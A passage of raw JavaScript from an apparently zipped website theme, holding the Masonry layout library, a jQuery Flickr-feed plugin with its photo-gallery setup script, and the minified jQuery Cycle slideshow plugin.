t.indexOf(e)}:function(t,e){for(var i=0,n=t.length;n>i;i++)if(t[i]===e)return i;return-1};"function"==typeof define&&define.amd?define("outlayer/outlayer",["eventie/eventie","doc-ready/doc-ready","eventEmitter/EventEmitter","get-size/get-size","matches-selector/matches-selector","./item"],s):t.Outlayer=s(t.eventie,t.docReady,t.EventEmitter,t.getSize,t.matchesSelector,t.Outlayer.Item)}(window),function(t){function e(t,e){var n=t.create("masonry");return n.prototype._resetLayout=function(){this.getSize(),this._getMeasurement("columnWidth","outerWidth"),this._getMeasurement("gutter","outerWidth"),this.measureColumns();var t=this.cols;for(this.colYs=[];t--;)this.colYs.push(0);this.maxY=0},n.prototype.measureColumns=function(){if(this.getContainerWidth(),!this.columnWidth){var t=this.items[0],i=t&&t.element;this.columnWidth=i&&e(i).outerWidth||this.containerWidth}this.columnWidth+=this.gutter,this.cols=Math.floor((this.containerWidth+this.gutter)/this.columnWidth),this.cols=Math.max(this.cols,1)},n.prototype.getContainerWidth=function(){var t=this.options.isFitWidth?this.element.parentNode:this.element,i=e(t);this.containerWidth=i&&i.innerWidth},n.prototype._getItemLayoutPosition=function(t){t.getSize();var e=t.size.outerWidth%this.columnWidth,n=e&&1>e?"round":"ceil",o=Math[n](t.size.outerWidth/this.columnWidth);o=Math.min(o,this.cols);for(var r=this._getColGroup(o),s=Math.min.apply(Math,r),a=i(r,s),h={x:this.columnWidth*a,y:s},p=s+t.size.outerHeight,u=this.cols+1-r.length,f=0;u>f;f++)this.colYs[a+f]=p;return h},n.prototype._getColGroup=function(t){if(2>t)return this.colYs;for(var e=[],i=this.cols+1-t,n=0;i>n;n++){var o=this.colYs.slice(n,n+t);e[n]=Math.max.apply(Math,o)}return e},n.prototype._manageStamp=function(t){var i=e(t),n=this._getElementOffset(t),o=this.options.isOriginLeft?n.left:n.right,r=o+i.outerWidth,s=Math.floor(o/this.columnWidth);s=Math.max(0,s);var a=Math.floor(r/this.columnWidth);a-=r%this.columnWidth?0:1,a=Math.min(this.cols-1,a);for(var h=(this.options.isOriginTop?n.top:n.bottom)+i.outerHeight,p=s;a>=p;p++)this.colYs[p]=Math.max(h,this.colYs[p])},n.prototype._getContainerSize=function(){this.maxY=Math.max.apply(Math,this.colYs);var t={height:this.maxY};return this.options.isFitWidth&&(t.width=this._getContainerFitWidth()),t},n.prototype._getContainerFitWidth=function(){for(var t=0,e=this.cols;--e&&0===this.colYs[e];)t++;return(this.cols-t)*this.columnWidth-this.gutter},n.prototype.resize=function(){var t=this.containerWidth;this.getContainerWidth(),t!==this.containerWidth&&this.layout()},n}var i=Array.prototype.indexOf?function(t,e){return t.indexOf(e)}:function(t,e){for(var i=0,n=t.length;n>i;i++){var o=t[i];if(o===e)return i}return-1};"function"==typeof define&&define.amd?define(["outlayer/outlayer","get-size/get-size"],e):t.Masonry=e(t.Outlayer,t.getSize)}(window);PK!.�!e	e	"bluetheme/assets/js/jflickrfeed.jsnu&1i�/*
* Copyright (C) 2009 Joel Sutherland
* Licenced under the MIT license
* http://www.newmediacampaigns.com/page/jquery-flickr-plugin
*
* Available tags for templates:
* title, link, date_taken, description, published, author, author_id, tags, image*
*/
(function($) {
	$.fn.jflickrfeed = function(settings, callback) {
		settings = $.extend(true, {
			flickrbase: 'http://api.flickr.com/services/feeds/',
			feedapi: 'photos_public.gne',
			limit: 20,
			qstrings: {
				lang: 'en-us',
				format: 'json',
				jsoncallback: '?'
			},
			cleanDescription: true,
			useTemplate: true,
			itemTemplate: '',
			itemCallback: function(){}
		}, settings);

		var url = settings.flickrbase + settings.feedapi + '?';
		var first = true;

		for(var key in settings.qstrings){
			if(!first)
				url += '&';
			url += key + '=' + settings.qstrings[key];
			first = false;
		}

		return $(this).each(function(){
			var $container = $(this);
			var container = this;
			$.getJSON(url, function(data){
				$.each(data.items, function(i,item){
					if(i < settings.limit){
					
						// Clean out the Flickr Description
						if(settings.cleanDescription){
							var regex = /<p>(.*?)<\/p>/g;
							var input = item.description;
							if(regex.test(input)) {
								item.description = input.match(regex)[2]
								if(item.description!=undefined)
									item.description = item.description.replace('<p>','').replace('</p>','');
							}
						}
						
						// Add Image Sizes
						// http://www.flickr.com/services/api/misc.urls.html
						item['image_s'] = item.media.m.replace('_m', '_s');
						item['image_t'] = item.media.m.replace('_m', '_t');
						item['image_m'] = item.media.m.replace('_m', '_m');
						item['image'] = item.media.m.replace('_m', '');
						item['image_b'] = item.media.m.replace('_m', '_b');
						//add new
						item['image_o'] = item.media.m.replace('_m', '_o');
						delete item.media;
						
						// Use Template
						if(settings.useTemplate){
							var template = settings.itemTemplate;
							for(var key in item){
								var rgx = new RegExp('{{' + key + '}}', 'g');
								template = template.replace(rgx, item[key]);
							}
							$container.append(template)
						}
						
						//itemCallback
						settings.itemCallback.call(container, item);
					}
				});
				if($.isFunction(callback)){
					callback.call(container, data);
				}
			});
		});
	}
})(jQuery);
PK!0�h��	�	'bluetheme/assets/js/flickrfeed.setup.jsnu&1i�jQuery(document).ready(function() {

jQuery('#basicuse').jflickrfeed({
limit: 14,
        qstrings: {
id: '37304598@N02'
},
        itemTemplate: '<li><a href="{{image_b}}"><img src="{{image_s}}" alt="{{title}}" /></a></li>'
});
        jQuery('#cbox').jflickrfeed({
limit: 14,
        qstrings: {
id: '37304598@N02'
},
        itemTemplate: '<li>' +
        '<a rel="colorbox" href="{{image}}" title="{{title}}">' +
        '<img src="{{image_s}}" alt="{{title}}" />' +
        '</a>' +
        '</li>'
}, function(data) {
jQuery('#cbox a').colorbox();
});
        jQuery('#cycle').jflickrfeed({
limit: 14,
        qstrings: {
id: '37304598@N02'
},
        itemTemplate: '<li><img src="{{image}}" alt="{{title}}" /><div>{{title}}</div></li>'
}, function(data) {
//jQuery('#cycle div').hide();
jQuery('#cycle').cycle({
timeout: 5000
});
        jQuery('#cycle li').hover(function() {
jQuery(this).children('div').show();
}, function() {
jQuery(this).children('div').hide();
});
});
        jQuery('#nocallback').jflickrfeed({
limit: 10,
        qstrings: {
id: '37304598@N02'
},
        useTemplate: false,
        itemCallback: function(item) {
jQuery(this).append("<li><img src='" + item.image_m + "' alt=''/></li>");
}
});
        });
        jQuery(document).ready(function(){

jQuery('#cycle').jflickrfeed({
limit: 10,
        qstrings : {
id: '37304598@N02'
},
        useTemplate : true,
        itemTemplate:'<li><img src="/3.x.y/{{image}}" alt="{{title}}" /><div>{{title}}</div></li>'},
        function(data) {
                $('#cycle div').hide();
                $('#cycle').cycle({
                     timeout: 5000
                });
                $('#cycle li').hover(function(){
                        $(this).children('div').show();
                    }, function(){
                        $(this).children('div').hide();
                    });
        });
    }); 
jQuery(document).ready(function(){
               
      		jQuery('#colorbox').jflickrfeed({ 
				limit: 10,
                                    qstrings : {
                                        id: '37304598@N02'
                                    },
                                useTemplate : true,
                    itemTemplate: '<li><a rel="colorbox" href=\'{{image}}\' title="{{title}}"><img src=\'{{image_s}}\' alt="{{title}}" /></a></li>'
            }, function(data) {
                jQuery('#cbox a').colorbox();
            
            });});PK!1�H߂s�s+bluetheme/assets/js/jquery.cycle.all.min.jsnu&1i�/*
 * jQuery Cycle Plugin (with Transition Definitions)
 * Examples and documentation at: http://jquery.malsup.com/cycle/
 * Copyright (c) 2007-2010 M. Alsup
 * Version: 2.80 (05-MAR-2010)
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 * Requires: jQuery v1.2.6 or later
 */
(function($){var ver="2.80";if($.support==undefined){$.support={opacity:!($.browser.msie)};}function debug(s){if($.fn.cycle.debug){log(s);}}function log(){if(window.console&&window.console.log){window.console.log("[cycle] "+Array.prototype.join.call(arguments," "));}}$.fn.cycle=function(options,arg2){var o={s:this.selector,c:this.context};if(this.length===0&&options!="stop"){if(!$.isReady&&o.s){log("DOM not ready, queuing slideshow");$(function(){$(o.s,o.c).cycle(options,arg2);});return this;}log("terminating; zero elements found by selector"+($.isReady?"":" (DOM not ready)"));return this;}return this.each(function(){var opts=handleArguments(this,options,arg2);if(opts===false){return;}opts.updateActivePagerLink=opts.updateActivePagerLink||$.fn.cycle.updateActivePagerLink;if(this.cycleTimeout){clearTimeout(this.cycleTimeout);}this.cycleTimeout=this.cyclePause=0;var $cont=$(this);var $slides=opts.slideExpr?$(opts.slideExpr,this):$cont.children();var els=$slides.get();if(els.length<2){log("terminating; too few slides: "+els.length);return;}var opts2=buildOptions($cont,$slides,els,opts,o);if(opts2===false){return;}var startTime=opts2.continuous?10:getTimeout(opts2.currSlide,opts2.nextSlide,opts2,!opts2.rev);if(startTime){startTime+=(opts2.delay||0);if(startTime<10){startTime=10;}debug("first timeout: "+startTime);this.cycleTimeout=setTimeout(function(){go(els,opts2,0,!opts2.rev);},startTime);}});};function handleArguments(cont,options,arg2){if(cont.cycleStop==undefined){cont.cycleStop=0;}if(options===undefined||options===null){options={};}if(options.constructor==String){switch(options){case"destroy":case"stop":var opts=$(cont).data("cycle.opts");if(!opts){return false;}cont.cycleStop++;if(cont.cycleTimeout){clearTimeout(cont.cycleTimeout);}cont.cycleTimeout=0;$(cont).removeData("cycle.opts");if(options=="destroy"){destroy(opts);}return false;case"toggle":cont.cyclePause=(cont.cyclePause===1)?0:1;return false;case"pause":cont.cyclePause=1;return false;case"resume":cont.cyclePause=0;if(arg2===true){options=$(cont).data("cycle.opts");if(!options){log("options not found, can not resume");return false;}if(cont.cycleTimeout){clearTimeout(cont.cycleTimeout);cont.cycleTimeout=0;}go(options.elements,options,1,1);}return false;case"prev":case"next":var opts=$(cont).data("cycle.opts");if(!opts){log('options not found, "prev/next" ignored');return false;}$.fn.cycle[options](opts);return false;default:options={fx:options};}return options;}else{if(options.constructor==Number){var num=options;options=$(cont).data("cycle.opts");if(!options){log("options not found, can not advance slide");return false;}if(num<0||num>=options.elements.length){log("invalid slide index: "+num);return false;}options.nextSlide=num;if(cont.cycleTimeout){clearTimeout(cont.cycleTimeout);cont.cycleTimeout=0;}if(typeof arg2=="string"){options.oneTimeFx=arg2;}go(options.elements,options,1,num>=options.currSlide);return false;}}return options;}function removeFilter(el,opts){if(!$.support.opacity&&opts.cleartype&&el.style.filter){try{el.style.removeAttribute("filter");}catch(smother){}}}function destroy(opts){if(opts.next){$(opts.next).unbind(opts.prevNextEvent);}if(opts.prev){$(opts.prev).unbind(opts.prevNextEvent);}if(opts.pager||opts.pagerAnchorBuilder){$.each(opts.pagerAnchors||[],function(){this.unbind().remove();});}opts.pagerAnchors=null;if(opts.destroy){opts.destroy(opts);}}function buildOptions($cont,$slides,els,options,o){var opts=$.extend({},$.fn.cycle.defaults,options||{},$.metadata?$cont.metadata():$.meta?$cont.data():{});if(opts.autostop){opts.countdown=opts.autostopCount||els.length;}var cont=$cont[0];$cont.data("cycle.opts",opts);opts.$cont=$cont;opts.stopCount=cont.cycleStop;opts.elements=els;opts.before=opts.before?[opts.before]:[];opts.after=opts.after?[opts.after]:[];opts.after.unshift(function(){opts.busy=0;});if(!$.support.opacity&&opts.cleartype){opts.after.push(function(){removeFilter(this,opts);});}if(opts.continuous){opts.after.push(function(){go(els,opts,0,!opts.rev);});}saveOriginalOpts(opts);if(!$.support.opacity&&opts.cleartype&&!opts.cleartypeNoBg){clearTypeFix($slides);}if($cont.css("position")=="static"){$cont.css("position","relative");}if(opts.width){$cont.width(opts.width);}if(opts.height&&opts.height!="auto"){$cont.height(opts.height);}if(opts.startingSlide){opts.startingSlide=parseInt(opts.startingSlide);}if(opts.random){opts.randomMap=[];for(var i=0;i<els.length;i++){opts.randomMap.push(i);}opts.randomMap.sort(function(a,b){return Math.random()-0.5;});opts.randomIndex=1;opts.startingSlide=opts.randomMap[1];}else{if(opts.startingSlide>=els.length){opts.startingSlide=0;}}opts.currSlide=opts.startingSlide||0;var first=opts.startingSlide;$slides.css({position:"absolute",top:0,left:0}).hide().each(function(i){var z=first?i>=first?els.length-(i-first):first-i:els.length-i;$(this).css("z-index",z);});$(els[first]).css("opacity",1).show();removeFilter(els[first],opts);if(opts.fit&&opts.width){$slides.width(opts.width);}if(opts.fit&&opts.height&&opts.height!="auto"){$slides.height(opts.height);}var reshape=opts.containerResize&&!$cont.innerHeight();if(reshape){var maxw=0,maxh=0;for(var j=0;j<els.length;j++){var $e=$(els[j]),e=$e[0],w=$e.outerWidth(),h=$e.outerHeight();if(!w){w=e.offsetWidth||e.width||$e.attr("width");}if(!h){h=e.offsetHeight||e.height||$e.attr("height");}maxw=w>maxw?w:maxw;maxh=h>maxh?h:maxh;}if(maxw>0&&maxh>0){$cont.css({width:maxw+"px",height:maxh+"px"});}}if(opts.pause){$cont.hover(function(){this.cyclePause++;},function(){this.cyclePause--;});}if(supportMultiTransitions(opts)===false){return false;}var requeue=false;options.requeueAttempts=options.requeueAttempts||0;$slides.each(function(){var $el=$(this);this.cycleH=(opts.fit&&opts.height)?opts.height:($el.height()||this.offsetHeight||this.height||$el.attr("height")||0);this.cycleW=(opts.fit&&opts.width)?opts.width:($el.width()||this.offsetWidth||this.width||$el.attr("width")||0);if($el.is("img")){var loadingIE=($.browser.msie&&this.cycleW==28&&this.cycleH==30&&!this.complete);var loadingFF=($.browser.mozilla&&this.cycleW==34&&this.cycleH==19&&!this.complete);var loadingOp=($.browser.opera&&((this.cycleW==42&&this.cycleH==19)||(this.cycleW==37&&this.cycleH==17))&&!this.complete);var loadingOther=(this.cycleH==0&&this.cycleW==0&&!this.complete);if(loadingIE||loadingFF||loadingOp||loadingOther){if(o.s&&opts.requeueOnImageNotLoaded&&++options.requeueAttempts<100){log(options.requeueAttempts," - img slide not loaded, requeuing slideshow: ",this.src,this.cycleW,this.cycleH);setTimeout(function(){$(o.s,o.c).cycle(options);},opts.requeueTimeout);requeue=true;return false;}else{log("could not determine size of image: "+this.src,this.cycleW,this.cycleH);}}}return true;});if(requeue){return false;}opts.cssBefore=opts.cssBefore||{};opts.animIn=opts.animIn||{};opts.animOut=opts.animOut||{};$slides.not(":eq("+first+")").css(opts.cssBefore);if(opts.cssFirst){$($slides[first]).css(opts.cssFirst);}if(opts.timeout){opts.timeout=parseInt(opts.timeout);if(opts.speed.constructor==String){opts.speed=$.fx.speeds[opts.speed]||parseInt(opts.speed);}if(!opts.sync){opts.speed=opts.speed/2;}while((opts.timeout-opts.speed)<250){opts.timeout+=opts.speed;}}if(opts.easing){opts.easeIn=opts.easeOut=opts.easing;}if(!opts.speedIn){opts.speedIn=opts.speed;}if(!opts.speedOut){opts.speedOut=opts.speed;}opts.slideCount=els.length;opts.currSlide=opts.lastSlide=first;if(opts.random){if(++opts.randomIndex==els.length){opts.randomIndex=0;}opts.nextSlide=opts.randomMap[opts.randomIndex];}else{opts.nextSlide=opts.startingSlide>=(els.length-1)?0:opts.startingSlide+1;}if(!opts.multiFx){var init=$.fn.cycle.transitions[opts.fx];if($.isFunction(init)){init($cont,$slides,opts);}else{if(opts.fx!="custom"&&!opts.multiFx){log("unknown transition: "+opts.fx,"; slideshow terminating");return false;}}}var e0=$slides[first];if(opts.before.length){opts.before[0].apply(e0,[e0,e0,opts,true]);}if(opts.after.length>1){opts.after[1].apply(e0,[e0,e0,opts,true]);}if(opts.next){$(opts.next).bind(opts.prevNextEvent,function(){return advance(opts,opts.rev?-1:1);});}if(opts.prev){$(opts.prev).bind(opts.prevNextEvent,function(){return advance(opts,opts.rev?1:-1);});}if(opts.pager||opts.pagerAnchorBuilder){buildPager(els,opts);}exposeAddSlide(opts,els);return opts;}function saveOriginalOpts(opts){opts.original={before:[],after:[]};opts.original.cssBefore=$.extend({},opts.cssBefore);opts.original.cssAfter=$.extend({},opts.cssAfter);opts.original.animIn=$.extend({},opts.animIn);opts.original.animOut=$.extend({},opts.animOut);$.each(opts.before,function(){opts.original.before.push(this);});$.each(opts.after,function(){opts.original.after.push(this);});}function supportMultiTransitions(opts){var i,tx,txs=$.fn.cycle.transitions;if(opts.fx.indexOf(",")>0){opts.multiFx=true;opts.fxs=opts.fx.replace(/\s*/g,"").split(",");for(i=0;i<opts.fxs.length;i++){var fx=opts.fxs[i];tx=txs[fx];if(!tx||!txs.hasOwnProperty(fx)||!$.isFunction(tx)){log("discarding unknown transition: ",fx);opts.fxs.splice(i,1);i--;}}if(!opts.fxs.length){log("No valid transitions named; slideshow terminating.");return false;}}else{if(opts.fx=="all"){opts.multiFx=true;opts.fxs=[];for(p in txs){tx=txs[p];if(txs.hasOwnProperty(p)&&$.isFunction(tx)){opts.fxs.push(p);}}}}if(opts.multiFx&&opts.randomizeEffects){var r1=Math.floor(Math.random()*20)+30;for(i=0;i<r1;i++){var r2=Math.floor(Math.random()*opts.fxs.length);opts.fxs.push(opts.fxs.splice(r2,1)[0]);}debug("randomized fx sequence: ",opts.fxs);}return true;}function exposeAddSlide(opts,els){opts.addSlide=function(newSlide,prepend){var $s=$(newSlide),s=$s[0];if(!opts.autostopCount){opts.countdown++;}els[prepend?"unshift":"push"](s);if(opts.els){opts.els[prepend?"unshift":"push"](s);}opts.slideCount=els.length;$s.css("position","absolute");$s[prepend?"prependTo":"appendTo"](opts.$cont);if(prepend){opts.currSlide++;opts.nextSlide++;}if(!$.support.opacity&&opts.cleartype&&!opts.cleartypeNoBg){clearTypeFix($s);}if(opts.fit&&opts.width){$s.width(opts.width);}if(opts.fit&&opts.height&&opts.height!="auto"){$slides.height(opts.height);}s.cycleH=(opts.fit&&opts.height)?opts.height:$s.height();s.cycleW=(opts.fit&&opts.width)?opts.width:$s.width();$s.css(opts.cssBefore);if(opts.pager||opts.pagerAnchorBuilder){$.fn.cycle.createPagerAnchor(els.length-1,s,$(opts.pager),els,opts);}if($.isFunction(opts.onAddSlide)){opts.onAddSlide($s);}else{$s.hide();}};}$.fn.cycle.resetState=function(opts,fx){fx=fx||opts.fx;opts.before=[];opts.after=[];opts.cssBefore=$.extend({},opts.original.cssBefore);opts.cssAfter=$.extend({},opts.original.cssAfter);opts.animIn=$.extend({},opts.original.animIn);opts.animOut=$.extend({},opts.original.animOut);opts.fxFn=null;$.each(opts.original.before,function(){opts.before.push(this);});$.each(opts.original.after,function(){opts.after.push(this);});var init=$.fn.cycle.transitions[fx];if($.isFunction(init)){init(opts.$cont,$(opts.elements),opts);}};function go(els,opts,manual,fwd){if(manual&&opts.busy&&opts.manualTrump){$(els).stop(true,true);opts.busy=false;}if(opts.busy){return;}var p=opts.$cont[0],curr=els[opts.currSlide],next=els[opts.nextSlide];if(p.cycleStop!=opts.stopCount||p.cycleTimeout===0&&!manual){return;}if(!manual&&!p.cyclePause&&((opts.autostop&&(--opts.countdown<=0))||(opts.nowrap&&!opts.random&&opts.nextSlide<opts.currSlide))){if(opts.end){opts.end(opts);}return;}if((manual||!p.cyclePause)&&(opts.nextSlide!=opts.currSlide)){var fx=opts.fx;curr.cycleH=curr.cycleH||$(curr).height();curr.cycleW=curr.cycleW||$(curr).width();next.cycleH=next.cycleH||$(next).height();next.cycleW=next.cycleW||$(next).width();if(opts.multiFx){if(opts.lastFx==undefined||++opts.lastFx>=opts.fxs.length){opts.lastFx=0;}fx=opts.fxs[opts.lastFx];opts.currFx=fx;}if(opts.oneTimeFx){fx=opts.oneTimeFx;opts.oneTimeFx=null;}$.fn.cycle.resetState(opts,fx);if(opts.before.length){$.each(opts.before,function(i,o){if(p.cycleStop!=opts.stopCount){return;}o.apply(next,[curr,next,opts,fwd]);});}var after=function(){$.each(opts.after,function(i,o){if(p.cycleStop!=opts.stopCount){return;}o.apply(next,[curr,next,opts,fwd]);});};opts.busy=1;if(opts.fxFn){opts.fxFn(curr,next,opts,after,fwd);}else{if($.isFunction($.fn.cycle[opts.fx])){$.fn.cycle[opts.fx](curr,next,opts,after);}else{$.fn.cycle.custom(curr,next,opts,after,manual&&opts.fastOnEvent);}}opts.lastSlide=opts.currSlide;if(opts.random){opts.currSlide=opts.nextSlide;if(++opts.randomIndex==els.length){opts.randomIndex=0;}opts.nextSlide=opts.randomMap[opts.randomIndex];}else{var roll=(opts.nextSlide+1)==els.length;opts.nextSlide=roll?0:opts.nextSlide+1;opts.currSlide=roll?els.length-1:opts.nextSlide-1;}if(opts.pager){opts.updateActivePagerLink(opts.pager,opts.currSlide,opts.activePagerClass);}}var ms=0;if(opts.timeout&&!opts.continuous){ms=getTimeout(curr,next,opts,fwd);}else{if(opts.continuous&&p.cyclePause){ms=10;}}if(ms>0){p.cycleTimeout=setTimeout(function(){go(els,opts,0,!opts.rev);},ms);}}$.fn.cycle.updateActivePagerLink=function(pager,currSlide,clsName){$(pager).each(function(){$(this).find("a").removeClass(clsName).filter("a:eq("+currSlide+")").addClass(clsName);});};function getTimeout(curr,next,opts,fwd){if(opts.timeoutFn){var t=opts.timeoutFn(curr,next,opts,fwd);while((t-opts.speed)<250){t+=opts.speed;}debug("calculated timeout: "+t+"; speed: "+opts.speed);if(t!==false){return t;}}return opts.timeout;}$.fn.cycle.next=function(opts){advance(opts,opts.rev?-1:1);};$.fn.cycle.prev=function(opts){advance(opts,opts.rev?1:-1);};function advance(opts,val){var els=opts.elements;var p=opts.$cont[0],timeout=p.cycleTimeout;if(timeout){clearTimeout(timeout);p.cycleTimeout=0;}if(opts.random&&val<0){opts.randomIndex--;if(--opts.randomIndex==-2){opts.randomIndex=els.length-2;}else{if(opts.randomIndex==-1){opts.randomIndex=els.length-1;}}opts.nextSlide=opts.randomMap[opts.randomIndex];}else{if(opts.random){opts.nextSlide=opts.randomMap[opts.randomIndex];}else{opts.nextSlide=opts.currSlide+val;if(opts.nextSlide<0){if(opts.nowrap){return false;}opts.nextSlide=els.length-1;}else{if(opts.nextSlide>=els.length){if(opts.nowrap){return false;}opts.nextSlide=0;}}}}if($.isFunction(opts.prevNextClick)){opts.prevNextClick(val>0,opts.nextSlide,els[opts.nextSlide]);}go(els,opts,1,val>=0);return false;}function buildPager(els,opts){var $p=$(opts.pager);$.each(els,function(i,o){$.fn.cycle.createPagerAnchor(i,o,$p,els,opts);});opts.updateActivePagerLink(opts.pager,opts.startingSlide,opts.activePagerClass);}$.fn.cycle.createPagerAnchor=function(i,el,$p,els,opts){var a;if($.isFunction(opts.pagerAnchorBuilder)){a=opts.pagerAnchorBuilder(i,el);}else{a='<a href="#">'+(i+1)+"</a>";}if(!a){return;}var $a=$(a);if($a.parents("body").length===0){var arr=[];if($p.length>1){$p.each(function(){var $clone=$a.clone(true);$(this).append($clone);arr.push($clone[0]);});$a=$(arr);}else{$a.appendTo($p);}}opts.pagerAnchors=opts.pagerAnchors||[];opts.pagerAnchors.push($a);$a.bind(opts.pagerEvent,function(e){e.preventDefault();opts.nextSlide=i;var p=opts.$cont[0],timeout=p.cycleTimeout;if(timeout){clearTimeout(timeout);p.cycleTimeout=0;}if($.isFunction(opts.pagerClick)){opts.pagerClick(opts.nextSlide,els[opts.nextSlide]);}go(els,opts,1,opts.currSlide<i);});if(!/^click/.test(opts.pagerEvent)&&!opts.allowPagerClickBubble){$a.bind("click.cycle",function(){return false;});}if(opts.pauseOnPagerHover){$a.hover(function(){opts.$cont[0].cyclePause++;},function(){opts.$cont[0].cyclePause--;});}};$.fn.cycle.hopsFromLast=function(opts,fwd){var hops,l=opts.lastSlide,c=opts.currSlide;if(fwd){hops=c>l?c-l:opts.slideCount-l;}else{hops=c<l?l-c:l+opts.slideCount-c;}return hops;};function clearTypeFix($slides){function hex(s){s=parseInt(s).toString(16);return s.length<2?"0"+s:s;}function getBg(e){for(;e&&e.nodeName.toLowerCase()!="html";e=e.parentNode){var v=$.css(e,"background-color");if(v.indexOf("rgb")>=0){var rgb=v.match(/\d+/g);return"#"+hex(rgb[0])+hex(rgb[1])+hex(rgb[2]);}if(v&&v!="transparent"){return v;}}return"#ffffff";}$slides.each(function(){$(this).css("background-color",getBg(this));});}$.fn.cycle.commonReset=function(curr,next,opts,w,h,rev){$(opts.elements).not(curr).hide();opts.cssBefore.opacity=1;opts.cssBefore.display="block";if(w!==false&&next.cycleW>0){opts.cssBefore.width=next.cycleW;}if(h!==false&&next.cycleH>0){opts.cssBefore.height=next.cycleH;}opts.cssAfter=opts.cssAfter||{};opts.cssAfter.display="none";$(curr).css("zIndex",opts.slideCount+(rev===true?1:0));$(next).css("zIndex",opts.slideCount+(rev===true?0:1));};$.fn.cycle.custom=function(curr,next,opts,cb,speedOverride){var $l=$(curr),$n=$(next);var speedIn=opts.speedIn,speedOut=opts.speedOut,easeIn=opts.easeIn,easeOut=opts.easeOut;$n.css(opts.cssBefore);if(speedOverride){if(typeof speedOverride=="number"){speedIn=speedOut=speedOverride;}else{speedIn=speedOut=1;}easeIn=easeOut=null;}var fn=function(){$n.animate(opts.animIn,speedIn,easeIn,cb);};$l.animate(opts.animOut,speedOut,easeOut,function(){if(opts.cssAfter){$l.css(opts.cssAfter);}if(!opts.sync){fn();}});if(opts.sync){fn();}};$.fn.cycle.transitions={fade:function($cont,$slides,opts){$slides.not(":eq("+opts.currSlide+")").css("opacity",0);opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts);opts.cssBefore.opacity=0;});opts.animIn={opacity:1};opts.animOut={opacity:0};opts.cssBefore={top:0,left:0};}};$.fn.cycle.ver=function(){return ver;};$.fn.cycle.defaults={fx:"fade",timeout:4000,timeoutFn:null,continuous:0,speed:1000,speedIn:null,speedOut:null,next:null,prev:null,prevNextClick:null,prevNextEvent:"click.cycle",pager:null,pagerClick:null,pagerEvent:"click.cycle",allowPagerClickBubble:false,pagerAnchorBuilder:null,before:null,after:null,end:null,easing:null,easeIn:null,easeOut:null,shuffle:null,animIn:null,animOut:null,cssBefore:null,cssAfter:null,fxFn:null,height:"auto",startingSlide:0,sync:1,random:0,fit:0,containerResize:1,pause:0,pauseOnPagerHover:0,autostop:0,autostopCount:0,delay:0,slideExpr:null,cleartype:!$.support.opacity,cleartypeNoBg:false,nowrap:0,fastOnEvent:0,randomizeEffects:1,rev:0,manualTrump:true,requeueOnImageNotLoaded:true,requeueTimeout:250,activePagerClass:"activeSlide",updateActivePagerLink:null};})(jQuery);
/*
 * jQuery Cycle Plugin Transition Definitions
 * This script is a plugin for the jQuery Cycle Plugin
 * Examples and documentation at: http://malsup.com/jquery/cycle/
 * Copyright (c) 2007-2008 M. Alsup
 * Version:	 2.72
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 */
(function($){$.fn.cycle.transitions.none=function($cont,$slides,opts){opts.fxFn=function(curr,next,opts,after){$(next).show();$(curr).hide();after();};};$.fn.cycle.transitions.scrollUp=function($cont,$slides,opts){$cont.css("overflow","hidden");opts.before.push($.fn.cycle.commonReset);var h=$cont.height();opts.cssBefore={top:h,left:0};opts.cssFirst={top:0};opts.animIn={top:0};opts.animOut={top:-h};};$.fn.cycle.transitions.scrollDown=function($cont,$slides,opts){$cont.css("overflow","hidden");opts.before.push($.fn.cycle.commonReset);var h=$cont.height();opts.cssFirst={top:0};opts.cssBefore={top:-h,left:0};opts.animIn={top:0};opts.animOut={top:h};};$.fn.cycle.transitions.scrollLeft=function($cont,$slides,opts){$cont.css("overflow","hidden");opts.before.push($.fn.cycle.commonReset);var w=$cont.width();opts.cssFirst={left:0};opts.cssBefore={left:w,top:0};opts.animIn={left:0};opts.animOut={left:0-w};};$.fn.cycle.transitions.scrollRight=function($cont,$slides,opts){$cont.css("overflow","hidden");opts.before.push($.fn.cycle.commonReset);var w=$cont.width();opts.cssFirst={left:0};opts.cssBefore={left:-w,top:0};opts.animIn={left:0};opts.animOut={left:w};};$.fn.cycle.transitions.scrollHorz=function($cont,$slides,opts){$cont.css("overflow","hidden").width();opts.before.push(function(curr,next,opts,fwd){$.fn.cycle.commonReset(curr,next,opts);opts.cssBefore.left=fwd?(next.cycleW-1):(1-next.cycleW);opts.animOut.left=fwd?-curr.cycleW:curr.cycleW;});opts.cssFirst={left:0};opts.cssBefore={top:0};opts.animIn={left:0};opts.animOut={top:0};};$.fn.cycle.transitions.scrollVert=function($cont,$slides,opts){$cont.css("overflow","hidden");opts.before.push(function(curr,next,opts,fwd){$.fn.cycle.commonReset(curr,next,opts);opts.cssBefore.top=fwd?(1-next.cycleH):(next.cycleH-1);opts.animOut.top=fwd?curr.cycleH:-curr.cycleH;});opts.cssFirst={top:0};opts.cssBefore={left:0};opts.animIn={top:0};opts.animOut={left:0};};$.fn.cycle.transitions.slideX=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$(opts.elements).not(curr).hide();$.fn.cycle.commonReset(curr,next,opts,false,true);opts.animIn.width=next.cycleW;});opts.cssBefore={left:0,top:0,width:0};opts.animIn={width:"show"};opts.animOut={width:0};};$.fn.cycle.transitions.slideY=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$(opts.elements).not(curr).hide();$.fn.cycle.commonReset(curr,next,opts,true,false);opts.animIn.height=next.cycleH;});opts.cssBefore={left:0,top:0,height:0};opts.animIn={height:"show"};opts.animOut={height:0};};$.fn.cycle.transitions.shuffle=function($cont,$slides,opts){var i,w=$cont.css("overflow","visible").width();$slides.css({left:0,top:0});opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,true,true);});if(!opts.speedAdjusted){opts.speed=opts.speed/2;opts.speedAdjusted=true;}opts.random=0;opts.shuffle=opts.shuffle||{left:-w,top:15};opts.els=[];for(i=0;i<$slides.length;i++){opts.els.push($slides[i]);}for(i=0;i<opts.currSlide;i++){opts.els.push(opts.els.shift());}opts.fxFn=function(curr,next,opts,cb,fwd){var $el=fwd?$(curr):$(next);$(next).css(opts.cssBefore);var count=opts.slideCount;$el.animate(opts.shuffle,opts.speedIn,opts.easeIn,function(){var hops=$.fn.cycle.hopsFromLast(opts,fwd);for(var 